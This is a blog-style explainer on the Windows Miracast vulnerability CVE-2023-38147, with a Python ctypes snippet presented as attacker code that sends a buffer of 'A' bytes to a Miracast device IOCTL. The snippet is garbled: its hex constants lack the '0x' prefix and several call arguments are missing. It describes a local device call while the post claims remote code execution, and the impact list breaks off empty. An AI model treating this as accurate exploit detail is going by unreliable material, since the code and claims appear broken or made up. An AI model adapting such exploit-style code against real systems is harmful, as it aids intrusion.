CVE-2023-38147 - Windows Miracast Wireless Display Remote Code Execution Vulnerability: What You Need to Know

CVE-2023-38147 has recently caught the attention of cybersecurity experts around the world. This vulnerability is related to a flaw in the Miracast wireless display system used by many Windows operating systems. If exploited by an attacker, this vulnerability could lead to the remote execution of arbitrary code within the impacted system, putting your device and data at risk. In this post, we will delve into the details of CVE-2023-38147, including the code snippets, original references, and exploit details you need to understand and safeguard against this potentially dangerous threat.

Background

Miracast is a widely-used wireless display technology that allows users to mirror their screens across multiple devices without the need for physical HDMI cables. It is primarily used with Windows 10, Windows 8.1, and other related operating systems. While convenient, Miracast can also pose a risk to users' security if not properly managed.

How CVE-2023-38147 Works

CVE-2023-38147 exploits a weakness in the handling of Miracast IOCTL (Input-Output Controls) in the Windows operating system. By successfully exploiting this weakness, an attacker could execute code remotely, allowing them unauthorized access to the targeted device and, potentially, its data.

Vulnerability Impact

The consequences of a successful exploitation of this vulnerability are severe. The attacker can potentially:

Here is an example of a code snippet that showcases how an attacker would abuse the vulnerable IOCTL

import ctypes
import os
import sys
from ctypes import POINTER, Structure, c_ulong
from ctypes.wintypes import HANDLE, DWORD

ioctl_code = x120400
buffer_size = x50

malicious_input = "\x41" * buffer_size

filename = "\\\\.\\Miracast"

dev_handle = ctypes.windll.kernel32.CreateFileA(filename,
                                                xC000000,  # Generic read & write
                                                x00000003,  # File share read & write
                                                None,
                                                x00000003,  # Open existing
                                                ,
                                                None)

if dev_handle == -1:
    print("Could not open handle to the device")
    sys.exit(1)

ctypes.windll.kernel32.DeviceIoControl(dev_handle,
                                        ioctl_code,
                                        malicious_input,
                                        buffer_size,
                                        None,
                                        ,
                                        ctypes.pointer(DWORD()), None);

Exploit Details

In the code snippet above, the attacker calculates the IOCTL code value (ioctl_code), sets a buffer size (buffer_size), and defines the malicious input as a series of 'A' characters. Using this malicious input, the attacker then accesses the Miracast IOCTL and triggers the vulnerability.

For more information about this vulnerability, see the following sources

1. Microsoft Security Advisory: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-38147
2. National Vulnerability Database (NVD) Entry: https://nvd.nist.gov/vuln/detail/CVE-2023-38147

Conclusion

CVE-2023-38147 is a dangerous remote code execution vulnerability that affects Windows devices using the Miracast wireless display system. By understanding the exploit details and code snippets associated with the vulnerability, you can better evaluate your risk and take the necessary precautions to protect your device and valuable data. It is crucial to stay up-to-date with security updates and best practices to ensure your device's safety.

Timeline

Published on: 09/12/2023 17:15:00 UTC
Last modified on: 09/12/2023 19:38:00 UTC